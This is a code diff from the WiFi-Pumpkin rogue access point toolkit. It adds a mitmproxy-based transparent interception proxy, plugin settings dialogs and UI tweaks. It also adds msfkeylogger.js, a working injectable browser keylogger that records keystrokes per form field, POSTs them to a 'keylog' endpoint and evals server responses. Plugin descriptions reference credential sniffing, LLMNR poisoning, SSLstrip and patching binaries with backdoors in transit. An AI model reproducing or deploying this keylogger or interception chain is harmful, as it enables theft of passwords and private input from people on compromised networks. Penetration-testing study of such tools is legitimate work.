index 0000000..0d95dd4
--- /dev/null
+++ b/core/servers/proxy/controller/handler.py
@@ -0,0 +1,120 @@
+from plugins.extension import *
+from threading import Thread
+from core.utility.collection import SettingsINI
+from mitmproxy import controller, proxy
+from mitmproxy.proxy.server import ProxyServer
+
+
+"""
+Description:
+ This program is a core for wifi-pumpkin.py. file which includes functionality
+ for Pumpkin-Proxy Core.
+
+Copyright:
+ Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see
+"""
+
+class ThreadController(Thread):
+ def __init__(self,main ,parent=None):
+ super(ThreadController, self).__init__(parent)
+ self.main = main
+
+ def run(self):
+ try:
+ controller.Master.run(self.main)
+ except :
+ self.main.shutdown()
+
+ def stop(self):
+ self.main.shutdown()
+
+
+class MasterHandler(controller.Master):
+ def __init__(self, server,session):
+ controller.Master.__init__(self, server)
+ self.config = SettingsINI('core/config/app/proxy.ini')
+ self.session = session
+ self.plugins = []
+ self.initializePlugins()
+
+ def run(self,send):
+ self.sendMethod = send
+ for plugin in self.plugins:
+ plugin.send_output = self.sendMethod
+ self.thread = ThreadController(self)
+ self.thread.start()
+
+ def disablePlugin(self,name, status):
+ ''' disable plugin by name '''
+ plugin_on = []
+ if status:
+ for plugin in self.plugins:
+ plugin_on.append(plugin.Name)
+ if name not in plugin_on:
+ for p in self.plugin_classes:
+ pluginconf = p()
+ if pluginconf.Name == name:
+ pluginconf.send_output = self.sendMethod
+ print('plugin:{0:17} status:On'.format(name))
+ self.plugins.append(pluginconf)
+ else:
+ for plugin in self.plugins:
+ if plugin.Name == name:
+ print('plugin:{0:17} status:Off'.format(name))
+ self.plugins.remove(plugin)
+
+ def initializePlugins(self):
+ self.plugin_classes = plugin.PluginTemplate.__subclasses__()
+ for p in self.plugin_classes:
+ if self.config.get_setting('plugins',p().Name,format=bool):
+ print('plugins::{0:17} status:On'.format(p().Name))
+ self.plugins.append(p())
+ # initialize logging in all plugins enable
+ #for instance in self.plugins:
+ # instance.init_logger(self.session)
+
+ def handle_request(self, flow):
+ '''
+ print "-- request --"
+ print flow.__dict__
+ print flow.request.__dict__
+ print flow.request.headers.__dict__
+ print "--------------"
+ print
+ '''
+ try:
+ for p in self.plugins:
+ p.request(flow)
+ except Exception:
+ pass
+ flow.reply()
+
+ def handle_response(self, flow):
+
+ '''
+ print
+ print "-- response --"
+ print flow.__dict__
+ print flow.response.__dict__
+ print flow.response.headers.__dict__
+ print "--------------"
+ print
+ '''
+ try:
+ for p in self.plugins:
+ p.response(flow)
+ except Exception:
+ pass
+ flow.reply()
\ No newline at end of file
diff --git a/core/servers/proxy/scripts/msfkeylogger.js b/core/servers/proxy/scripts/msfkeylogger.js
new file mode 100644
index 0000000..ef44855
--- /dev/null
+++ b/core/servers/proxy/scripts/msfkeylogger.js
@@ -0,0 +1,117 @@
+window.onload = function (){
+ var2 = ",";
+ name = '';
+ function make_xhr(){
+ var xhr;
+ try {
+ xhr = new XMLHttpRequest();
+ } catch(e) {
+ try {
+ xhr = new ActiveXObject("Microsoft.XMLHTTP");
+ } catch(e) {
+ xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
+ }
+ }
+ if(!xhr) {
+ throw "failed to create XMLHttpRequest";
+ }
+ return xhr;
+ }
+
+ xhr = make_xhr();
+ xhr.onreadystatechange = function() {
+ if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
+ eval(xhr.responseText);
+ }
+ }
+
+ if (window.addEventListener){
+ //console.log("first");
+ document.addEventListener('keypress', function2, true);
+ document.addEventListener('keydown', function1, true);
+ }
+ else if (window.attachEvent){
+ //console.log("second");
+ document.attachEvent('onkeypress', function2);
+ document.attachEvent('onkeydown', function1);
+ }
+ else {
+ //console.log("third");
+ document.onkeypress = function2;
+ document.onkeydown = function1;
+ }
+}
+
+function function2(e)
+{
+ try
+ {
+ srcname = window.event.srcElement.name;
+ }catch(error)
+ {
+ srcname = e.srcElement ? e.srcElement.name : e.target.name
+ if (srcname == "")
+ {
+ srcname = e.target.name
+ }
+ }
+
+ var3 = (e) ? e.keyCode : e.which;
+ if (var3 == 0)
+ {
+ var3 = e.charCode
+ }
+
+ if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13)
+ {
+ andxhr(var3.toString(16), srcname);
+ }
+}
+
+function function1(e)
+{
+ try
+ {
+ srcname = window.event.srcElement.name;
+ }catch(error)
+ {
+ srcname = e.srcElement ? e.srcElement.name : e.target.name
+ if (srcname == "")
+ {
+ srcname = e.target.name
+ }
+ }
+
+ var3 = (e) ? e.keyCode : e.which;
+ if (var3 == 9 || var3 == 8 || var3 == 13)
+ {
+ andxhr(var3.toString(16), srcname);
+ }
+ else if (var3 == 0)
+ {
+
+ text = document.getElementById(id).value;
+ if (text.length != 0)
+ {
+ andxhr(text.toString(16), srcname);
+ }
+ }
+
+}
+function andxhr(key, inputName)
+{
+ if (inputName != name)
+ {
+ name = inputName;
+ var2 = ",";
+ }
+ var2= var2 + key + ",";
+ xhr.open("POST", "keylog", true);
+ xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
+ xhr.send(var2 + '&&' + inputName);
+
+ if (key == 13 || var2.length > 3000)
+ {
+ var2 = ",";
+ }
+}
diff --git a/core/themes/themeDefault.qss b/core/themes/themeDefault.qss
index 6c3dfad..d5b17bd 100644
--- a/core/themes/themeDefault.qss
+++ b/core/themes/themeDefault.qss
@@ -72,7 +72,6 @@ QWidget
QWidget:item:hover
{
background-color: #3A3939;
- color: black;
}
QWidget:item:selected
@@ -987,6 +986,16 @@ QTableView::item:selected:active, QTreeView::item:selected:active, QListView::it
color: #FFFFFF;
}
+QTableView::item:hover {
+ background: #3A3939;
+ color: #FFFFFF;
+}
+
+QTableView::item:selected {
+ background: #3A3939;
+ color: #FFFFFF;
+}
+
QHeaderView
{
diff --git a/core/utility/settings.py b/core/utility/settings.py
index 295633a..573a61b 100644
--- a/core/utility/settings.py
+++ b/core/utility/settings.py
@@ -177,9 +177,8 @@ def get_options_hostapd(self,option):
class frm_Settings(QDialog):
def __init__(self, parent = None):
super(frm_Settings, self).__init__(parent)
- self.setWindowTitle('settings WiFi-Pompkin')
+ self.setWindowTitle('WiFi-Pompkin - Settings')
self.Settings = SettingsINI('core/config/app/config.ini')
- self.bdfproxyConf = SettingsINI(self.Settings.get_setting('plugins','bdfproxy_config'))
self.loadtheme(self.XmlThemeSelected())
self.setGeometry(0, 0, 420, 440)
self.center()
@@ -266,7 +265,7 @@ def listItemclicked(self,pos):
except Exception as e:
return QMessageBox.information(self,'error',str(e))
elif action == editem:
- text, resp = QInputDialog.getText(self, 'Add rules iptables',
+ text, resp = QInputDialog.getText(self, 'Add rules for iptables',
'Enter the rules iptables:',text=self.ListRules.item(self.ListRules.currentRow()).text())
if resp:
try:
@@ -305,13 +304,13 @@ def Qui(self):
self.tabcontrol.addTab(self.tab1, 'General')
self.tabcontrol.addTab(self.tab2, 'Advanced')
self.tabcontrol.addTab(self.tab3,'Iptables')
- self.tabcontrol.addTab(self.tab4,'hostpad')
+ self.tabcontrol.addTab(self.tab4,'Hostpad')
self.pageTab1 = SettingsTabGeneral(self.Settings)
self.page_1.addLayout(self.pageTab1)
self.groupAdvanced = QGroupBox()
- self.groupAdvanced.setTitle('Advanced settings:')
+ self.groupAdvanced.setTitle('Advanced Settings:')
self.groupAdvanced.setLayout(self.formGroupAd)
self.btn_save = QPushButton('Save')
@@ -321,14 +320,12 @@ def Qui(self):
#page Adavanced
- self.bdfProxy_port = QSpinBox()
- self.bdfProxy_port.setMaximum(10000)
self.txt_ranger = QLineEdit(self)
self.txt_arguments = QLineEdit(self)
- self.scan1 = QRadioButton('Ping Scan:: Very fast scan IP')
+ self.scan1 = QRadioButton('Ping Scan:: Very fast IP scan')
self.scan2 = QRadioButton('Python-Nmap:: Get hostname from IP')
self.redirectport = QLineEdit(self)
- self.check_interface_mode_AP = QCheckBox('Check if interface has been support AP/Mode')
+ self.check_interface_mode_AP = QCheckBox('Check if interface supports AP/Mode')
self.check_interface_mode_AP.setChecked(self.Settings.get_setting('accesspoint','check_support_ap_mode',format=bool))
self.check_interface_mode_AP.setToolTip('if you disable this options in next time, the interface is not should '
'checked if has support AP mode.')
@@ -360,8 +357,6 @@ def Qui(self):
self.txt_ranger.setText(self.Settings.get_setting('settings','scanner_rangeIP'))
self.txt_arguments.setText(self.Settings.get_setting('settings','mdk3'))
- self.bdfProxy_port.setValue(int(self.bdfproxyConf.get_setting('Overall','proxyPort')))
- self.bdfProxy_port.setEnabled(False)
self.scan2.setEnabled(False)
self.scan1.setChecked(True)
#settings tab Advanced
@@ -372,7 +367,6 @@ def Qui(self):
self.formGroupAd.addRow(self.scan1)
self.formGroupAd.addRow(self.scan2)
self.formGroupAd.addRow(self.check_interface_mode_AP)
- self.formGroupAd.addRow('Port BDFProxy-ng',self.bdfProxy_port)
self.formGroupAd.addRow('Port sslstrip:',self.redirectport)
self.formGroupAd.addRow(QLabel('mdk3 Args:'),self.txt_arguments)
self.formGroupAd.addRow(QLabel('Range Scanner:'),self.txt_ranger)
diff --git a/core/utility/threads.py b/core/utility/threads.py
index 49f7cd6..9109500 100644
--- a/core/utility/threads.py
+++ b/core/utility/threads.py
@@ -1,6 +1,6 @@
-import argparse
import logging
import signal
+import argparse
import threading
from re import search
from sys import stdout
@@ -14,12 +14,33 @@
from subprocess import (Popen,PIPE,STDOUT)
from PyQt4.QtCore import QThread,pyqtSignal,SIGNAL,pyqtSlot,QProcess,QObject,SLOT
from PyQt4.QtGui import QMessageBox
-from plugins.sergio_proxy.plugins import *
+from plugins.external.sergio_proxy.plugins import *
from multiprocessing import Process,Manager
-try:
- from nmap import PortScanner
-except ImportError:
- pass
+from core.servers.proxy.controller.handler import MasterHandler
+from mitmproxy import controller, proxy
+from mitmproxy.proxy.server import ProxyServer
+
+"""
+Description:
+ This program is a core for wifi-pumpkin.py. file which includes functionality
+ for threads core program.
+
+Copyright:
+ Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see
+"""
+
class ProcessThreadScanner(threading.Thread):
''' thread for run airodump-ng backgroung and get data'''
@@ -233,6 +254,26 @@ def run(self):
def stop(self):
reactor.callFromThread(reactor.stop)
+class ThreadPumpkinProxy(QObject):
+ '''Thread: run Pumpkin-Proxy mitmproxy on brackground'''
+ send = pyqtSignal(object)
+ def __init__(self,session=None):
+ QObject.__init__(self)
+ self.session = session
+
+ def start(self):
+ config = proxy.ProxyConfig(port=8080,mode='transparent')
+ print "[*] Pumpkin-Proxy running on port:8080 \n"
+ server = ProxyServer(config)
+ server.allow_reuse_address = True
+ self.m = MasterHandler(server,self.session)
+ self.m.run(self.send)
+
+ def stop(self):
+ self.m.shutdown()
+ print 'Thread::[{}] successfully stopped.'.format(self.objectName())
+
+
class Thread_sslstrip(QThread):
'''Thread: run sslstrip on brackground'''
def __init__(self,port,plugins={},data= {},session=None):
@@ -250,9 +291,9 @@ def run(self):
killSessions = True
spoofFavicon = False
listenPort = self.port
- from plugins.sslstrip.StrippingProxy import StrippingProxy
- from plugins.sslstrip.URLMonitor import URLMonitor
- from plugins.sslstrip.CookieCleaner import CookieCleaner
+ from plugins.external.sslstrip.StrippingProxy import StrippingProxy
+ from plugins.external.sslstrip.URLMonitor import URLMonitor
+ from plugins.external.sslstrip.CookieCleaner import CookieCleaner
if self.loaderPlugins['plugins'] != None:
self.plugins[self.loaderPlugins['plugins']].getInstance()._activated = True
self.plugins[self.loaderPlugins['plugins']].getInstance().setInjectionCode(
@@ -376,12 +417,12 @@ def run(self):
#this whole msf loading process sucks. need to improve
if args.msf_rc != "/tmp/tmp.rc" or stat("/tmp/tmp.rc").st_size != 0:
- from plugins.sergio_proxy.plugins.StartMSF import launch_msf
+ from plugins.external.sergio_proxy import launch_msf
launch_msf(args.msf_path,args.msf_rc,args.msf_user)
- from plugins.sergio_proxy.sslstrip.StrippingProxy import StrippingProxy
- from plugins.sergio_proxy.sslstrip.URLMonitor import URLMonitor
- from plugins.sergio_proxy.sslstrip.CookieCleaner import CookieCleaner
+ from plugins.external.sergio_proxy.sslstrip.StrippingProxy import StrippingProxy
+ from plugins.external.sergio_proxy.sslstrip.URLMonitor import URLMonitor
+ from plugins.external.sergio_proxy.sslstrip.CookieCleaner import CookieCleaner
URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
CookieCleaner.getInstance().setEnabled(killSessions)
diff --git a/core/utils.py b/core/utils.py
index 9c21869..7034431 100644
--- a/core/utils.py
+++ b/core/utils.py
@@ -49,7 +49,7 @@ def setEnable(self):
return self.interface
except Exception ,e:
QMessageBox.information(self,'Monitor Mode',
- 'mode on device %s.your card not supports monitor mode'%(self.interface))
+ 'mode on device %s.your card does not support Monitor Mode'%(self.interface))
def setDisable(self):
Popen(['ifconfig', self.interface, 'down'])
Popen(['iwconfig', self.interface, 'mode','managed'])
@@ -143,6 +143,7 @@ def exportHtml(unchecked={},sessionID='',dataLogger=[],APname=''):
'injectionPage': {'logs/AccessPoint/injectionPage.log':[]},
'dnsspoofAP': {'logs/AccessPoint/dnsspoof.log':[]},
'responder': {'logs/AccessPoint/responder.log':[]},
+ 'pumpkinproxy': {'logs/AccessPoint/pumpkin-proxy.log':[]},
'phishing': {'logs/Phishing/requests.log':[]},}
if unchecked != {}:
for key in unchecked.keys(): readFile.pop(key)
diff --git a/core/widgets/notifications.py b/core/widgets/notifications.py
new file mode 100644
index 0000000..3563326
--- /dev/null
+++ b/core/widgets/notifications.py
@@ -0,0 +1,85 @@
+from PyQt4 import QtCore, QtGui
+"""
+Description:
+ This program is a core for wifi-pumpkin.py. file which includes functionality
+ for notifications in main tab.
+
+Copyright:
+ Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see
+"""
+
+class ServiceNotify(QtGui.QLabel):
+ ''' notifications custom Qlabel widgets'''
+ def __init__(self,text,title,link=None,timeout=None):
+ QtGui.QLabel.__init__(self)
+ self.link = link
+ self.setAutoFillBackground(True)
+ self.timeoutTimer = QtCore.QTimer(self)
+ self.timeoutTimer.setSingleShot(True)
+ self.effect = QtGui.QGraphicsOpacityEffect(self)
+ self.setGraphicsEffect(self.effect)
+ self.setText(self.decoretorText(text, title))
+
+ # Fade in
+ self.animationIn = QtCore.QPropertyAnimation(self.effect, 'opacity')
+ self.animationIn.setDuration(300)
+ self.animationIn.setStartValue(0)
+ self.animationIn.setEndValue(1.0)
+
+ # Fade out
+ self.animationOut = QtCore.QPropertyAnimation(self.effect, 'opacity')
+ self.animationOut.setDuration(300)
+ self.animationOut.setStartValue(1.0)
+ self.animationOut.setEndValue(0)
+ if timeout is not None:
+ self.timeoutTimer.setInterval(timeout)
+ self.animationIn.finished.connect(self.timeoutTimer.start)
+ self.timeoutTimer.timeout.connect(self.close)
+ self.setstylelabel()
+ self.linkActivated.connect(self.linkHandler)
+ self.setFixedHeight(50)
+ self.animationIn.start()
+
+ def decoretorText(self,message, title, frmt='html'):
+ ''' set html message and check if link is enable'''
+ title = "%s" % title
+ message = title + '{}'.format(message)
+ if self.link != None:
+ message += "HERE".format(self.link)
+ return message
+
+ def linkHandler(self, link):
+ ''' go to link donate '''
+ if not QtGui.QDesktopServices.openUrl(QtCore.QUrl(link)):
+ QtGui.QMessageBox.warning(self, 'Open Url', 'Could not open url: {}'.format(link))
+
+ def setstylelabel(self):
+ ''' docorate label using stylesheet options '''
+ color = '#996633' #ff6600
+ border = 1
+ padding = 2
+ label_style = "; ".join((
+ "color: #302F2F",
+ 'background-color: %s' % color,
+ "border-color: %s" % color,
+ "border: %dpx solid %s" % (border, color),
+ "padding: %dpx" % padding))
+ self.setStyleSheet(label_style)
+
+ def close(self):
+ ''' start effect fade out on Label '''
+ self.animationOut.finished.connect(super(ServiceNotify, self).close)
+ self.animationOut.start()
+
diff --git a/core/widgets/pluginssettings.py b/core/widgets/pluginssettings.py
index 486f1b4..54cf651 100644
--- a/core/widgets/pluginssettings.py
+++ b/core/widgets/pluginssettings.py
@@ -1,5 +1,6 @@
from configobj import ConfigObj,Section
from collections import OrderedDict
+import modules as GUI
from core.loaders.models.PackagesUI import *
class BDFProxySettings(PumpkinModule):
@@ -194,6 +195,74 @@ def GUI(self):
self.TabSettings.setHorizontalHeaderLabels(self.THeaders.keys())
self.TabSettings.verticalHeader().setDefaultSectionSize(23)
+ self.layout = QVBoxLayout(self.widget)
+ self.layoutGroup.addWidget(self.TabSettings)
+ self.layout.addWidget(self.GroupBox)
+ self.layout.addWidget(self.btnSave)
+ self.main.addWidget(self.widget)
+ self.setLayout(self.main)
+
+class PumpkinProxySettings(PumpkinModule):
+ def __init__(self,plugin,items,parent=None):
+ super(PumpkinProxySettings, self).__init__(parent)
+ self.setWindowTitle('Settings: {} '.format(plugin[4:]))
+ self.THeaders = {'Config':[],'Value':[] }
+ self.config = SettingsINI('core/config/app/proxy.ini')
+ self.loadtheme(self.configure.XmlThemeSelected())
+ self.main = QVBoxLayout()
+ self.plugin_items = items
+ self.plugin_key = plugin
+ self.setGeometry(0,0,400, 250)
+ self.center()
+ self.GUI()
+
+ def addRowTableWidget(self, _key, _value):
+ ''' add items into TableWidget '''
+ Headers = []
+ self.THeaders['Config'].append(_key)
+ self.THeaders['Value'].append(_value)
+ for n, key in enumerate(self.THeaders.keys()):
+ Headers.append(key)
+ for m, item in enumerate(self.THeaders[key]):
+ item = QTableWidgetItem(item)
+ item.setFlags(item.flags() | Qt.ItemIsEditable)
+ self.TabSettings.setItem(m, n, item)
+ self.TabSettings.resizeColumnToContents(0)
+
+ def saveConfigObject(self):
+ ''' get all key and value and save '''
+ data = []
+ model = self.TabSettings.model()
+ for row in range(model.rowCount()):
+ data.append([])
+ for column in range(model.columnCount()):
+ index = model.index(row, column)
+ data[row].append(str(model.data(index).toString()))
+ for key,item in data:
+ self.config.set_setting(self.plugin_key,key,item)
+ self.close()
+
+ def GUI(self):
+ self.TabSettings = QTableWidget(len(self.plugin_items),2)
+ self.btnSave = QPushButton('Save settings')
+ self.GroupBox = QGroupBox(self)
+ self.widget = QWidget()
+ self.layoutGroup = QVBoxLayout(self.widget)
+ self.GroupBox.setLayout(self.layoutGroup)
+ self.GroupBox.setTitle('Options')
+ self.btnSave.clicked.connect(self.saveConfigObject)
+ self.TabSettings.resizeRowsToContents()
+ self.TabSettings.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred)
+ self.TabSettings.horizontalHeader().setStretchLastSection(True)
+ self.TabSettings.setSelectionBehavior(QAbstractItemView.SelectRows)
+ #self.TabSettings.setEditTriggers(QAbstractItemView.NoEditTriggers)
+ self.TabSettings.verticalHeader().setVisible(False)
+ self.TabSettings.setHorizontalHeaderLabels(self.THeaders.keys())
+ self.TabSettings.verticalHeader().setDefaultSectionSize(23)
+
+ for item in self.plugin_items:
+ self.addRowTableWidget(item,self.config.get_setting(self.plugin_key,item))
+
self.layout = QVBoxLayout(self.widget)
self.layoutGroup.addWidget(self.TabSettings)
self.layout.addWidget(self.GroupBox)
diff --git a/core/widgets/popupmodels.py b/core/widgets/popupmodels.py
index 7a338f6..e5e5e88 100644
--- a/core/widgets/popupmodels.py
+++ b/core/widgets/popupmodels.py
@@ -3,6 +3,7 @@
from PyQt4.QtGui import *
from PyQt4.QtCore import *
from core.utils import Refactor
+from collections import OrderedDict
from core.widgets.pluginssettings import BDFProxySettings,ResponderSettings
"""
Description:
@@ -46,6 +47,7 @@ def __init__(self,FSettings,main,parent=None):
self.check_netcreds = QCheckBox('net-creds ')
self.check_responder = QCheckBox('Responder')
+ self.check_pumpkinProxy = QRadioButton('Pumpkin-Proxy')
self.check_dns2proy = QRadioButton('SSLstrip+|Dns2proxy')
self.check_sergioProxy = QRadioButton('SSLstrip|Sergio-proxy')
self.check_bdfproxy = QRadioButton('BDFProxy-ng')
@@ -58,9 +60,42 @@ def __init__(self,FSettings,main,parent=None):
self.btnBDFSettings.clicked.connect(self.ConfigOBJBDFproxy)
self.btnResponderSettings.clicked.connect(self.ConfigOBJBResponder)
+ # set text description plugins
+ self.check_dns2proy.setObjectName('This tools offer a different features '
+ 'for post-explotation once you change the DNS server to a Victim. coded by: LeonardoNve')
+ self.check_sergioProxy.setObjectName('Sergio proxy is an HTTP proxy that was written '
+ 'in Python for the Twisted framework. coded by: LeonardoNve')
+ self.check_bdfproxy.setObjectName('Patch Binaries via MITM: BackdoorFactory + mitmProxy, '
+ 'bdfproxy-ng is a fork and review of the original BDFProxy. coded by: secretsquirrel.')
+ self.check_pumpkinProxy.setObjectName('Transparent proxy - intercepting HTTP data, '
+ 'this proxy server that allows to intercept requests and response on the fly')
+
+ # desction plugin checkbox
+ self.check_netcreds.setObjectName('Sniff passwords and hashes from an interface or pcap file.'
+ ' coded by: Dan McInerney')
+ self.check_responder.setObjectName('Responder an LLMNR, NBT-NS and MDNS poisoner. '
+ 'By default, the tool will only answer to File Server Service request, which is for SMB.')
+
+
+ # table 1 for add plugins with QradioBtton
+ self.THeadersPluginsProxy = OrderedDict(
+ [ ('Plugins',[self.check_pumpkinProxy,self.check_dns2proy,self.check_sergioProxy,self.check_bdfproxy]),
+ ('Settings',[QPushButton('None'),QPushButton('None'),QPushButton('None'),self.btnBDFSettings]),
+ ('Description',[self.check_pumpkinProxy.objectName(),
+ self.check_dns2proy.objectName(),self.check_sergioProxy.objectName(),
+ self.check_bdfproxy.objectName()])
+ ])
+
+ # table 2 for add plugins with checkbox
+ self.THeadersPlugins = OrderedDict(
+ [ ('Plugins',[self.check_netcreds,self.check_responder]),
+ ('Settings',[QPushButton('None'),self.btnResponderSettings]),
+ ('Description',[self.check_netcreds.objectName(),self.check_responder.objectName(),])
+ ])
+
self.tableplugins = QTableWidget()
self.tableplugins.setColumnCount(3)
- self.tableplugins.setRowCount(3)
+ self.tableplugins.setRowCount(len(self.THeadersPluginsProxy['Plugins']))
self.tableplugins.resizeRowsToContents()
self.tableplugins.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred)
self.tableplugins.horizontalHeader().setStretchLastSection(True)
@@ -69,15 +104,14 @@ def __init__(self,FSettings,main,parent=None):
self.tableplugins.verticalHeader().setVisible(False)
self.tableplugins.verticalHeader().setDefaultSectionSize(23)
self.tableplugins.setSortingEnabled(True)
- self.Headers = ('plugins','settings','Description')
- self.tableplugins.setHorizontalHeaderLabels(self.Headers)
+ self.tableplugins.setHorizontalHeaderLabels(self.THeadersPluginsProxy.keys())
self.tableplugins.horizontalHeader().resizeSection(0,158)
self.tableplugins.horizontalHeader().resizeSection(1,80)
self.tableplugins.resizeRowsToContents()
self.tableplugincheckbox = QTableWidget()
self.tableplugincheckbox.setColumnCount(3)
- self.tableplugincheckbox.setRowCount(2)
+ self.tableplugincheckbox.setRowCount(len(self.THeadersPlugins['Plugins']))
self.tableplugincheckbox.resizeRowsToContents()
self.tableplugincheckbox.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred)
self.tableplugincheckbox.horizontalHeader().setStretchLastSection(True)
@@ -86,54 +120,43 @@ def __init__(self,FSettings,main,parent=None):
self.tableplugincheckbox.verticalHeader().setVisible(False)
self.tableplugincheckbox.verticalHeader().setDefaultSectionSize(23)
self.tableplugincheckbox.setSortingEnabled(True)
- self.Headers = ('plugins','settings','Description')
- self.tableplugincheckbox.setHorizontalHeaderLabels(self.Headers)
+ self.tableplugincheckbox.setHorizontalHeaderLabels(self.THeadersPlugins.keys())
self.tableplugincheckbox.horizontalHeader().resizeSection(0,158)
self.tableplugincheckbox.horizontalHeader().resizeSection(1,80)
self.tableplugincheckbox.resizeRowsToContents()
- desc_dns2proxy = QTableWidgetItem()
- desc_sergioproxy = QTableWidgetItem()
- desc_bdfproxy = QTableWidgetItem()
- desc_netcreds = QTableWidgetItem()
- desc_responder = QTableWidgetItem()
-
- # set text description plugins
- desc_dns2proxy.setText('This tools offer a different features '
- 'for post-explotation once you change the DNS server to a Victim. coded by: LeonardoNve')
- desc_sergioproxy.setText('Sergio proxy is an HTTP proxy that was written '
- 'in Python for the Twisted framework. coded by: LeonardoNve')
- desc_bdfproxy.setText('Patch Binaries via MITM: BackdoorFactory + mitmProxy, '
- 'bdfproxy-ng is a fork and review of the original BDFProxy. coded by: secretsquirrel.')
- desc_netcreds.setText('Sniff passwords and hashes from an interface or pcap file. coded by: Dan McInerney')
- desc_responder.setText('Responder an LLMNR, NBT-NS and MDNS poisoner. '
- 'By default, the tool will only answer to File Server Service request, which is for SMB.')
-
- self.tableplugins.setItem(0, 2, desc_dns2proxy)
- self.tableplugins.setItem(1, 2, desc_sergioproxy)
- self.tableplugins.setItem(2, 2, desc_bdfproxy)
- self.tableplugins.setCellWidget(0,0,self.check_dns2proy)
- self.tableplugins.setCellWidget(1,0,self.check_sergioProxy)
- self.tableplugins.setCellWidget(2,0,self.check_bdfproxy)
- self.tableplugins.setCellWidget(1,1,QPushButton('None'))
- self.tableplugins.setCellWidget(2,1,self.btnBDFSettings)
- self.tableplugins.setCellWidget(0,1,QPushButton('None'))
-
- # table 2 for add plugins with checkbox
- self.tableplugincheckbox.setItem(0, 2, desc_netcreds)
- self.tableplugincheckbox.setItem(1, 2, desc_responder)
- self.tableplugincheckbox.setCellWidget(0,0,self.check_netcreds)
- self.tableplugincheckbox.setCellWidget(1,0,self.check_responder)
- self.tableplugincheckbox.setCellWidget(0,1,QPushButton('None'))
- self.tableplugincheckbox.setCellWidget(1,1,self.btnResponderSettings)
+ # add all widgets in Qtable 1 plgins
+ Headers = []
+ for n, key in enumerate(self.THeadersPluginsProxy.keys()):
+ Headers.append(key)
+ for m, item in enumerate(self.THeadersPluginsProxy[key]):
+ if type(item) == type(QRadioButton()) or type(item) == type(QPushButton()):
+ self.tableplugins.setCellWidget(m,n,item)
+ else:
+ item = QTableWidgetItem(item)
+ self.tableplugins.setItem(m, n, item)
+ self.tableplugins.setHorizontalHeaderLabels(self.THeadersPluginsProxy.keys())
+ # add all widgets in Qtable 2 plugin
+ Headers = []
+ for n, key in enumerate(self.THeadersPlugins.keys()):
+ Headers.append(key)
+ for m, item in enumerate(self.THeadersPlugins[key]):
+ if type(item) == type(QCheckBox()) or type(item) == type(QPushButton()):
+ self.tableplugincheckbox.setCellWidget(m,n,item)
+ else:
+ item = QTableWidgetItem(item)
+ self.tableplugincheckbox.setItem(m, n, item)
+ self.tableplugins.setHorizontalHeaderLabels(self.THeadersPlugins.keys())
self.proxyGroup = QButtonGroup()
+ self.proxyGroup.addButton(self.check_pumpkinProxy)
self.proxyGroup.addButton(self.check_dns2proy)
self.proxyGroup.addButton(self.check_sergioProxy)
self.proxyGroup.addButton(self.check_noproxy)
self.proxyGroup.addButton(self.check_bdfproxy)
self.check_netcreds.clicked.connect(self.checkBoxNecreds)
+ self.check_pumpkinProxy.clicked.connect(self.checkGeneralOptions)
self.check_dns2proy.clicked.connect(self.checkGeneralOptions)
self.check_sergioProxy.clicked.connect(self.checkGeneralOptions)
self.check_bdfproxy.clicked.connect(self.checkGeneralOptions)
@@ -158,35 +181,29 @@ def checkGeneralOptions(self):
self.unset_Rules('dns2proxy')
self.unset_Rules('sslstrip')
self.unset_Rules('bdfproxy')
+ self.FSettings.Settings.set_setting('plugins','pumpkinproxy_plugin',self.check_pumpkinProxy.isChecked())
+ self.FSettings.Settings.set_setting('plugins','sergioproxy_plugin',self.check_sergioProxy.isChecked())
+ self.FSettings.Settings.set_setting('plugins','dns2proxy_plugin',self.check_dns2proy.isChecked())
+ self.FSettings.Settings.set_setting('plugins','bdfproxy_plugin',self.check_bdfproxy.isChecked())
+ self.FSettings.Settings.set_setting('plugins','noproxy',self.check_noproxy.isChecked())
if self.check_sergioProxy.isChecked():
- self.FSettings.Settings.set_setting('plugins','sergioproxy_plugin',True)
- self.FSettings.Settings.set_setting('plugins','dns2proxy_plugin',False)
- self.FSettings.Settings.set_setting('plugins','noproxy',False)
- self.FSettings.Settings.set_setting('plugins','bdfproxy_plugin',False)
self.main_method.set_proxy_statusbar('SSLstrip|Sergio-proxy')
self.set_sslStripRule()
elif self.check_dns2proy.isChecked():
- self.FSettings.Settings.set_setting('plugins','dns2proxy_plugin',True)
- self.FSettings.Settings.set_setting('plugins','sergioproxy_plugin',False)
- self.FSettings.Settings.set_setting('plugins','noproxy',False)
- self.FSettings.Settings.set_setting('plugins','bdfproxy_plugin',False)
self.main_method.set_proxy_statusbar('SSLstrip+|Dns2-proxy')
self.set_sslStripRule()
self.set_Dns2proxyRule()
elif self.check_bdfproxy.isChecked():
